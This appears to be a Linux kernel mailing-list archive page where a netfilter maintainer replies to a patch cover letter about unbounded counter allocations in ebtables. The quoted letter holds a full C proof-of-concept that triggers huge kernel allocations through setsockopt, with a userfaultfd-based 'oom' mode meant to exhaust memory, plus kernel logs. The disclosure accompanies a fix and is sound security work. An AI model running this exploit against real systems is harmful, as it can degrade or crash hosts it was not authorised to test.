Ethernet Bridge development
 help / color / mirror / Atom feed
From: Pablo Neira Ayuso <pablo@netfilter.org>
To: Ren Wei <enjou1224z@gmail.com>
Cc: netfilter-devel@vger.kernel.org, bridge@lists.linux.dev,
	fw@strlen.de, phil@nwl.cc, razor@blackwall.org,
	idosch@nvidia.com, vega@nebusec.ai, zihanx@nebusec.ai
Subject: Re: [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations
Date: Tue, 28 Jul 2026 21:35:52 +0200	[thread overview]
Message-ID: <amkEmMRrTkx3YU1t@chamomile> (raw)
In-Reply-To: <cover.1785131981.git.zihanx@nebusec.ai>

Hi,

On Tue, Jul 28, 2026 at 02:09:43AM +0800, Ren Wei wrote:
> From: Zihan Xi <zihanx@nebusec.ai>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated a issue in net/bridge/netfilter/ebtables.c. The bug is reachable by a
> non-root user via user and net namespace.
> We've tested it, and it should not affect any other functionality.
> 
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> EBT_SO_SET_COUNTERS copies only a fixed struct ebt_replace header before it
> allocates a temporary counter array. The user-controlled num_counters field is
> used for that allocation before the target table is looked up and before it can
> be compared with the table's real nentries value. A user with CAP_NET_ADMIN in
> a user/net namespace can therefore request a very large allocation against any
> table name, even a non-existent one.

You could just create a very large well-formed table with ebtables too?

This is not a crash, just a very large allocation.

[    1.577403] poc: vmalloc error: size 2147483520, exceeds total pages, mode:0xcc0(GFP_KERNEL), nodemask=(null),cpuset=/,mems_allowed=0

> EBT_SO_SET_ENTRIES has the same root cause in do_replace_finish(). After the
> replacement blob is copied and validated, do_replace_finish() used
> repl->num_counters to allocate counterstmp before find_table_lock() and before
> checking it against t->private->nentries. That path can trigger the same
> unbounded allocation before the kernel knows whether the table exists or how
> many counters are valid for it.
> 
> Recent public patches on July 2, 2026 and July 4, 2026 also tightened
> bounds for do_replace()/do_replace_finish() and do_update_counters()
> individually, but the underlying issue is the same in both paths:
> temporary counter arrays are allocated from user-controlled counts before
> the kernel has resolved the real table and validated the real nentries
> value.
> 
> Fix this by moving both temporary counter allocations after find_table_lock()
> and after the num_counters-to-nentries validation. Invalid table names or
> counter counts now fail with the existing semantic errors instead of first
> attempting a large allocation. This is a setsockopt control-plane trigger, not
> a packet-driven protocol-state trigger, so packetdrill cannot express the key
> EBT_SO_SET_COUNTERS/EBT_SO_SET_ENTRIES inputs; the reproducer uses setsockopt()
> directly.
> 
> Reproducer:
> 
>     gcc -O2 -static -o poc poc.c
>     unshare -Urn ./poc
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> ------BEGIN poc.c------
> #define _GNU_SOURCE
> 
> #include <errno.h>
> #include <fcntl.h>
> #include <inttypes.h>
> #include <poll.h>
> #include <pthread.h>
> #include <signal.h>
> #include <stdbool.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/ioctl.h>
> #include <sys/mman.h>
> #include <sys/socket.h>
> #include <sys/syscall.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> 
> #include <linux/userfaultfd.h>
> 
> #ifndef O_CLOEXEC
> #define O_CLOEXEC 02000000
> #endif
> 
> #define SOL_IP 0
> 
> #define EBT_TABLE_MAXNAMELEN 32
> #define EBT_BASE_CTL 128
> #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
> #define EBT_SO_SET_COUNTERS (EBT_SO_SET_ENTRIES + 1)
> #define EBT_SO_GET_INFO (EBT_BASE_CTL)
> #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
> 
> #define NF_BR_NUMHOOKS 6
> 
> struct ebt_counter {
> 	uint64_t pcnt;
> 	uint64_t bcnt;
> };
> 
> struct ebt_replace {
> 	char name[EBT_TABLE_MAXNAMELEN];
> 	unsigned int valid_hooks;
> 	unsigned int nentries;
> 	unsigned int entries_size;
> 	void *hook_entry[NF_BR_NUMHOOKS];
> 	unsigned int num_counters;
> 	struct ebt_counter *counters;
> 	char *entries;
> };
> 
> #define HUGE_NUM_COUNTERS 134217720U
> #define HUGE_COUNTERS_LEN ((unsigned int)(sizeof(struct ebt_replace) + \
> 					  HUGE_NUM_COUNTERS * sizeof(struct ebt_counter)))
> #define TINY_ENTRIES_SIZE 1U
> #define HUGE_REPLACE_LEN ((unsigned int)(sizeof(struct ebt_replace) + \
> 					 TINY_ENTRIES_SIZE))
> 
> _Static_assert(sizeof(struct ebt_replace) == 120, "unexpected ebt_replace size");
> _Static_assert(HUGE_COUNTERS_LEN == 2147483640U,
> 	       "unexpected huge setsockopt length");
> 
> struct table_info {
> 	unsigned int nentries;
> 	unsigned int entries_size;
> 	unsigned int valid_hooks;
> };
> 
> struct blocker_state {
> 	int uffd;
> 	long page_size;
> 	void *fault_page;
> 	char *copy_page;
> 	volatile sig_atomic_t release_fault;
> 	volatile sig_atomic_t fault_seen;
> 	volatile sig_atomic_t blocker_started;
> 	struct ebt_replace *req;
> 	socklen_t optlen;
> 	int blocker_ret;
> 	int blocker_errno;
> };
> 
> static void fatal(const char *what)
> {
> 	perror(what);
> 	exit(EXIT_FAILURE);
> }
> 
> static int make_inet_socket(void)
> {
> 	int fd = socket(AF_INET, SOCK_STREAM, 0);
> 
> 	if (fd < 0)
> 		fatal("socket(AF_INET, SOCK_STREAM)");
> 	return fd;
> }
> 
> static void get_table_info(const char *name, struct table_info *info)
> {
> 	struct ebt_replace req;
> 	socklen_t len = sizeof(req);
> 	int fd = make_inet_socket();
> 
> 	memset(&req, 0, sizeof(req));
> 	snprintf(req.name, sizeof(req.name), "%s", name);
> 
> 	if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &req, &len) != 0)
> 		fatal("getsockopt(EBT_SO_GET_INFO)");
> 
> 	close(fd);
> 
> 	info->nentries = req.nentries;
> 	info->entries_size = req.entries_size;
> 	info->valid_hooks = req.valid_hooks;
> }
> 
> static int do_huge_update(const char *name, bool log_result)
> {
> 	struct ebt_replace req;
> 	int fd = make_inet_socket();
> 	int saved_errno;
> 	int ret;
> 
> 	memset(&req, 0, sizeof(req));
> 	snprintf(req.name, sizeof(req.name), "%s", name);
> 	req.num_counters = HUGE_NUM_COUNTERS;
> 	req.counters = (struct ebt_counter *)0x10000;
> 
> 	errno = 0;
> 	ret = setsockopt(fd, SOL_IP, EBT_SO_SET_COUNTERS, &req,
> 			 HUGE_COUNTERS_LEN);
> 	saved_errno = errno;
> 	close(fd);
> 
> 	if (log_result)
> 		fprintf(stderr,
> 			"[worker] SET_COUNTERS name=%s len=%u num_counters=%u -> ret=%d errno=%d (%s)\n",
> 			name, HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS, ret,
> 			saved_errno, strerror(saved_errno));
> 
> 	errno = saved_errno;
> 	return ret;
> }
> 
> static int do_huge_replace(const char *name, bool log_result)
> {
> 	struct ebt_replace req;
> 	char tiny_entries[TINY_ENTRIES_SIZE] = {0};
> 	int fd = make_inet_socket();
> 	int saved_errno;
> 	int ret;
> 
> 	memset(&req, 0, sizeof(req));
> 	snprintf(req.name, sizeof(req.name), "%s", name);
> 	req.entries_size = TINY_ENTRIES_SIZE;
> 	req.entries = tiny_entries;
> 	req.num_counters = HUGE_NUM_COUNTERS;
> 	req.counters = (struct ebt_counter *)0x10000;
> 
> 	errno = 0;
> 	ret = setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &req,
> 			 HUGE_REPLACE_LEN);
> 	saved_errno = errno;
> 	close(fd);
> 
> 	if (log_result)
> 		fprintf(stderr,
> 			"[worker] SET_ENTRIES name=%s len=%u entries_size=%u num_counters=%u allocation=%zu -> ret=%d errno=%d (%s)\n",
> 			name, HUGE_REPLACE_LEN, TINY_ENTRIES_SIZE,
> 			HUGE_NUM_COUNTERS,
> 			(size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_counter),
> 			ret, saved_errno, strerror(saved_errno));
> 
> 	errno = saved_errno;
> 	return ret;
> }
> 
> static int open_userfaultfd(void)
> {
> 	struct uffdio_api api;
> 	int fd;
> 
> 	fd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
> 	if (fd < 0) {
> 		fd = open("/dev/userfaultfd", O_RDWR | O_CLOEXEC | O_NONBLOCK);
> 		if (fd < 0)
> 			fatal("userfaultfd/open(/dev/userfaultfd)");
> 		fd = ioctl(fd, USERFAULTFD_IOC_NEW, O_CLOEXEC | O_NONBLOCK);
> 		if (fd < 0)
> 			fatal("USERFAULTFD_IOC_NEW");
> 	}
> 
> 	memset(&api, 0, sizeof(api));
> 	api.api = UFFD_API;
> 	if (ioctl(fd, UFFDIO_API, &api) < 0)
> 		fatal("UFFDIO_API");
> 
> 	return fd;
> }
> 
> static void register_missing_page(struct blocker_state *st)
> {
> 	struct uffdio_register reg;
> 
> 	st->fault_page = mmap(NULL, st->page_size, PROT_READ | PROT_WRITE,
> 			    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> 	if (st->fault_page == MAP_FAILED)
> 		fatal("mmap(fault_page)");
> 	if (munmap(st->fault_page, st->page_size) != 0)
> 		fatal("munmap(fault_page)");
> 
> 	st->copy_page = calloc(1, (size_t)st->page_size);
> 	if (!st->copy_page)
> 		fatal("calloc(copy_page)");
> 
> 	memset(&reg, 0, sizeof(reg));
> 	reg.range.start = (unsigned long)st->fault_page;
> 	reg.range.len = (unsigned long)st->page_size;
> 	reg.mode = UFFDIO_REGISTER_MODE_MISSING;
> 	if (ioctl(st->uffd, UFFDIO_REGISTER, &reg) != 0)
> 		fatal("UFFDIO_REGISTER");
> }
> 
> static void *uffd_handler_thread(void *arg)
> {
> 	struct blocker_state *st = arg;
> 
> 	while (!st->release_fault) {
> 		struct uffd_msg msg;
> 		struct pollfd pfd = { .fd = st->uffd, .events = POLLIN };
> 		int pr = poll(&pfd, 1, 100);
> 
> 		if (pr < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			fatal("poll(userfaultfd)");
> 		}
> 		if (pr == 0)
> 			continue;
> 		if (read(st->uffd, &msg, sizeof(msg)) != sizeof(msg))
> 			fatal("read(userfaultfd)");
> 		if (msg.event != UFFD_EVENT_PAGEFAULT)
> 			continue;
> 
> 		st->fault_seen = 1;
> 		fprintf(stderr,
> 			"[blocker] userfaultfd trapped kernel copy_to_user at address 0x%llx\n",
> 			(unsigned long long)msg.arg.pagefault.address);
> 
> 		while (!st->release_fault)
> 			usleep(10000);
> 
> 		struct uffdio_copy copy;
> 		memset(&copy, 0, sizeof(copy));
> 		copy.src = (unsigned long)st->copy_page;
> 		copy.dst = (unsigned long)st->fault_page;
> 		copy.len = (unsigned long)st->page_size;
> 		if (ioctl(st->uffd, UFFDIO_COPY, &copy) != 0)
> 			fatal("UFFDIO_COPY");
> 		fprintf(stderr, "[blocker] released the trapped GET_ENTRIES fault\n");
> 		break;
> 	}
> 
> 	return NULL;
> }
> 
> static void *blocker_thread(void *arg)
> {
> 	struct blocker_state *st = arg;
> 	int fd = make_inet_socket();
> 
> 	st->blocker_started = 1;
> 	errno = 0;
> 	st->blocker_ret = getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES,
> 				       st->req, &st->optlen);
> 	st->blocker_errno = errno;
> 	fprintf(stderr,
> 		"[blocker] getsockopt(EBT_SO_GET_ENTRIES) returned ret=%d errno=%d (%s)\n",
> 		st->blocker_ret, st->blocker_errno, strerror(st->blocker_errno));
> 	close(fd);
> 	return NULL;
> }
> 
> static uint64_t read_meminfo_kb(const char *key)
> {
> 	char name[128];
> 	uint64_t value;
> 	FILE *f = fopen("/proc/meminfo", "r");
> 
> 	if (!f)
> 		fatal("fopen(/proc/meminfo)");
> 	while (fscanf(f, "%127s %" SCNu64 " kB", name, &value) == 2) {
> 		name[strcspn(name, ":")] = '\0';
> 		if (strcmp(name, key) == 0) {
> 			fclose(f);
> 			return value;
> 		}
> 	}
> 	fclose(f);
> 	fatal("read_meminfo_kb");
> 	return 0;
> }
> 
> static void kill_children(pid_t *children, int n)
> {
> 	int i;
> 
> 	for (i = 0; i < n; i++)
> 		if (children[i] > 0)
> 			kill(children[i], SIGKILL);
> }
> 
> static void reap_children(pid_t *children, int n)
> {
> 	int i;
> 
> 	for (i = 0; i < n; i++)
> 		if (children[i] > 0)
> 			waitpid(children[i], NULL, 0);
> }
> 
> static void run_oom_mode(int workers, int timeout_sec)
> {
> 	struct blocker_state st;
> 	struct table_info filter;
> 	pthread_t blocker_tid;
> 	pthread_t uffd_tid;
> 	pid_t *children;
> 	uint64_t mem_before, mem_after;
> 	int i;
> 
> 	if (workers <= 0)
> 		fatal("workers must be positive");
> 
> 	memset(&st, 0, sizeof(st));
> 	get_table_info("filter", &filter);
> 
> 	fprintf(stderr,
> 		"[setup] filter table: nentries=%u entries_size=%u valid_hooks=0x%x\n",
> 		filter.nentries, filter.entries_size, filter.valid_hooks);
> 	fprintf(stderr,
> 		"[setup] huge update request: len=%u num_counters=%u allocation=%zu bytes\n",
> 		HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS,
> 		(size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_counter));
> 
> 	st.page_size = sysconf(_SC_PAGESIZE);
> 	if (st.page_size <= 0)
> 		fatal("sysconf(_SC_PAGESIZE)");
> 
> 	st.uffd = open_userfaultfd();
> 	register_missing_page(&st);
> 
> 	st.req = calloc(1, sizeof(*st.req));
> 	if (!st.req)
> 		fatal("calloc(blocker request)");
> 
> 	snprintf(st.req->name, sizeof(st.req->name), "%s", "filter");
> 	st.req->nentries = filter.nentries;
> 	st.req->entries_size = filter.entries_size;
> 	st.req->num_counters = 0;
> 	st.req->entries = st.fault_page;
> 	st.optlen = sizeof(*st.req) + filter.entries_size;
> 
> 	if (pthread_create(&uffd_tid, NULL, uffd_handler_thread, &st) != 0)
> 		fatal("pthread_create(uffd)");
> 	if (pthread_create(&blocker_tid, NULL, blocker_thread, &st) != 0)
> 		fatal("pthread_create(blocker)");
> 
> 	for (i = 0; i < timeout_sec * 100; i++) {
> 		if (st.fault_seen)
> 			break;
> 		usleep(10000);
> 	}
> 	if (!st.fault_seen) {
> 		fprintf(stderr,
> 			"[setup] blocker did not hit the userfaultfd trap within %d seconds\n",
> 			timeout_sec);
> 		st.release_fault = 1;
> 		pthread_join(blocker_tid, NULL);
> 		pthread_join(uffd_tid, NULL);
> 		exit(EXIT_FAILURE);
> 	}
> 
> 	mem_before = read_meminfo_kb("MemAvailable");
> 	fprintf(stderr, "[state] MemAvailable before workers: %" PRIu64 " kB\n",
> 		mem_before);
> 
> 	children = calloc((size_t)workers, sizeof(*children));
> 	if (!children)
> 		fatal("calloc(children)");
> 
> 	for (i = 0; i < workers; i++) {
> 		pid_t pid = fork();
> 
> 		if (pid < 0)
> 			fatal("fork");
> 		if (pid == 0) {
> 			do_huge_update("bogus", true);
> 			_exit(EXIT_SUCCESS);
> 		}
> 		children[i] = pid;
> 		fprintf(stderr, "[parent] spawned worker pid=%d\n", pid);
> 	}
> 
> 	sleep(2);
> 	mem_after = read_meminfo_kb("MemAvailable");
> 	fprintf(stderr,
> 		"[state] MemAvailable after workers: %" PRIu64 " kB (delta=%" PRIi64 " kB)\n",
> 		mem_after, (int64_t)mem_after - (int64_t)mem_before);
> 	fprintf(stderr, "[state] waiting up to %d seconds for an OOM-induced crash\n",
> 		timeout_sec);
> 
> 	sleep(timeout_sec);
> 
> 	fprintf(stderr, "[cleanup] timeout expired without a kernel panic; releasing blocker\n");
> 	st.release_fault = 1;
> 	pthread_join(blocker_tid, NULL);
> 	pthread_join(uffd_tid, NULL);
> 	kill_children(children, workers);
> 	reap_children(children, workers);
> 	free(children);
> }
> 
> static void usage(const char *prog)
> {
> 	fprintf(stderr,
> 		"Usage:\n"
> 		"  %s counters [table]\n"
> 		"  %s replace [table]\n"
> 		"  %s oom [workers] [timeout_sec]\n",
> 		prog, prog, prog);
> }
> 
> int main(int argc, char **argv)
> {
> 	if (argc < 2) {
> 		do_huge_update("bogus", true);
> 		do_huge_replace("bogus", true);
> 		return EXIT_FAILURE;
> 	}
> 
> 	if (strcmp(argv[1], "counters") == 0) {
> 		const char *name = (argc >= 3) ? argv[2] : "bogus";
> 		int ret = do_huge_update(name, true);
> 
> 		return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
> 	}
> 
> 	if (strcmp(argv[1], "replace") == 0) {
> 		const char *name = (argc >= 3) ? argv[2] : "bogus";
> 		int ret = do_huge_replace(name, true);
> 
> 		return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
> 	}
> 
> 	if (strcmp(argv[1], "oom") == 0) {
> 		int workers = (argc >= 3) ? atoi(argv[2]) : 3;
> 		int timeout_sec = (argc >= 4) ? atoi(argv[3]) : 10;
> 
> 		run_oom_mode(workers, timeout_sec);
> 		return EXIT_SUCCESS;
> 	}
> 
> 	usage(argv[0]);
> 	return EXIT_FAILURE;
> }
> ------END poc.c--------
> 
> ----BEGIN crash log----
> EBT_SO_SET_COUNTERS path:
> [    1.577403] poc: vmalloc error: size 2147483520, exceeds total pages, mode:0xcc0(GFP_KERNEL), nodemask=(null),cpuset=/,mems_allowed=0
> [    1.578954] CPU: 1 UID: 0 PID: 64 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #4 PREEMPT(lazy) 
> [    1.579038] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [    1.579145] Call Trace:
> [    1.579555]  <TASK>
> [    1.579713]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
> [    1.579934]  warn_alloc (mm/page_alloc.c:4023)
> [    1.579949]  __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
> [    1.579960]  ? folio_add_file_rmap_ptes (include/linux/vmstat.h:542 (discriminator 1) mm/rmap.c:1336 (discriminator 1) mm/rmap.c:1428 (discriminator 1) mm/rmap.c:1706 (discriminator 1) mm/rmap.c:1732 (discriminator 1))
> [    1.579969]  ? do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
> [    1.579977]  ? filemap_map_pages (include/linux/rcupdate.h:873 mm/filemap.c:3984)
> [    1.579992]  __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator 4))
> [    1.580006]  ? do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
> [    1.580011]  do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
> [    1.580020]  update_counters (net/bridge/netfilter/ebtables.c:1444)
> [    1.580030]  nf_setsockopt (net/netfilter/nf_sockopt.c:101)
> [    1.580052]  do_sock_setsockopt (net/socket.c:2368)
> [    1.580066]  __sys_setsockopt (net/socket.c:2393)
> [    1.580075]  __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:2396 net/socket.c:2396)
> [    1.580082]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [    1.580090]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [    1.580208] RIP: 0033:0x43523e
> [    1.580370] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
> [    1.580416] RSP: 002b:00007ffd9e4c8f48 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
> [    1.580438] RAX: ffffffffffffffda RBX: 00007ffd9e4c8f50 RCX: 000000000043523e
> [    1.580447] RDX: 0000000000000081 RSI: 0000000000000000 RDI: 0000000000000003
> [    1.580454] RBP: 00007ffd9e4cafd7 R08: 000000007ffffff8 R09: 0000000000000000
> [    1.580461] R10: 00007ffd9e4c8f50 R11: 0000000000000246 R12: 0000000000000003
> [    1.580469] R13: 00007ffd9e4c9278 R14: 00000000004de808 R15: 0000000000000001
> [    1.580500]  </TASK>
> [worker] setsockopt(name=bogus, len=2147483640, num_counters=134217720) -> ret=-1 errno=12 (Cannot allocate memory)
> EXIT 1
> 
> EBT_SO_SET_ENTRIES path:
> [    8.275233] poc: vmalloc error: size 2147483520, exceeds total pages, mode:0xcc0(GFP_KERNEL), nodemask=(null),cpuset=/,mems_allowed=0
> [    8.297875] CPU: 1 UID: 0 PID: 62 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #4 PREEMPT(lazy) 
> [    8.297957] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [    8.298283] Call Trace:
> [    8.298471]  <TASK>
> [    8.298471]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
> [    8.298471]  warn_alloc (mm/page_alloc.c:4023)
> [    8.298471]  ? alloc_pages_bulk_noprof (mm/page_alloc.c:5338 mm/page_alloc.c:5230)
> [    8.298471]  __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
> [    8.298471]  ? do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
> [    8.298471]  ? __vmalloc_node_range_noprof (mm/vmalloc.c:694 mm/vmalloc.c:703 mm/vmalloc.c:3924 mm/vmalloc.c:4082)
> [    8.298471]  __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator 4))
> [    8.298471]  ? do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
> [    8.298471]  do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
> [    8.298471]  ? do_replace (net/bridge/netfilter/ebtables.c:1145 (discriminator 2))
> [    8.298471]  do_replace (net/bridge/netfilter/ebtables.c:1156)
> [    8.298471]  nf_setsockopt (net/netfilter/nf_sockopt.c:101)
> [    8.298471]  do_sock_setsockopt (net/socket.c:2368)
> [    8.298471]  __sys_setsockopt (net/socket.c:2393)
> [    8.298471]  __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:2396 net/socket.c:2396)
> [    8.298471]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
> [    8.298471]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> [    8.298471] RIP: 0033:0x4307be
> [    8.298471] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
> [    8.298471] RSP: 002b:00007ffc525761e8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
> [    8.298471] RAX: ffffffffffffffda RBX: 00000000031ae378 RCX: 00000000004307be
> [    8.298471] RDX: 0000000000000080 RSI: 0000000000000000 RDI: 0000000000000003
> [    8.298471] RBP: 00007ffc52576280 R08: 0000000000000079 R09: 0000000000000000
> [    8.298471] R10: 00007ffc52576280 R11: 0000000000000246 R12: 0000000000000003
> [    8.298471] R13: 00007ffc52577fd7 R14: 00000000004de808 R15: 0000000000000001
> [    8.298471]  </TASK>
> [worker] SET_ENTRIES name=bogus len=121 entries_size=1 num_counters=134217720 allocation=2147483520 -> ret=-1 errno=12 (Cannot allocate memory)
> EXIT 1
> -----END crash log-----
> 
> Best regards,
> Zihan Xi
> 
> Zihan Xi (1):
>   netfilter: ebtables: avoid unbounded counter allocations
> 
>  net/bridge/netfilter/ebtables.c | 34 ++++++++++++++++-----------------
>  1 file changed, 17 insertions(+), 17 deletions(-)
> 
> -- 
> 2.43.0

  parent reply	other threads:[~2026-07-28 19:35 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-27 18:09 [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations Ren Wei
2026-07-27 18:09 ` [PATCH nf 1/1] " Ren Wei
2026-07-28 19:35 ` Pablo Neira Ayuso [this message]
2026-07-29  4:44   ` [PATCH nf 0/1] " zihan xi

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=amkEmMRrTkx3YU1t@chamomile \
    --to=pablo@netfilter.org \
    --cc=bridge@lists.linux.dev \
    --cc=enjou1224z@gmail.com \
    --cc=fw@strlen.de \
    --cc=idosch@nvidia.com \
    --cc=netfilter-devel@vger.kernel.org \
    --cc=phil@nwl.cc \
    --cc=razor@blackwall.org \
    --cc=vega@nebusec.ai \
    --cc=zihanx@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox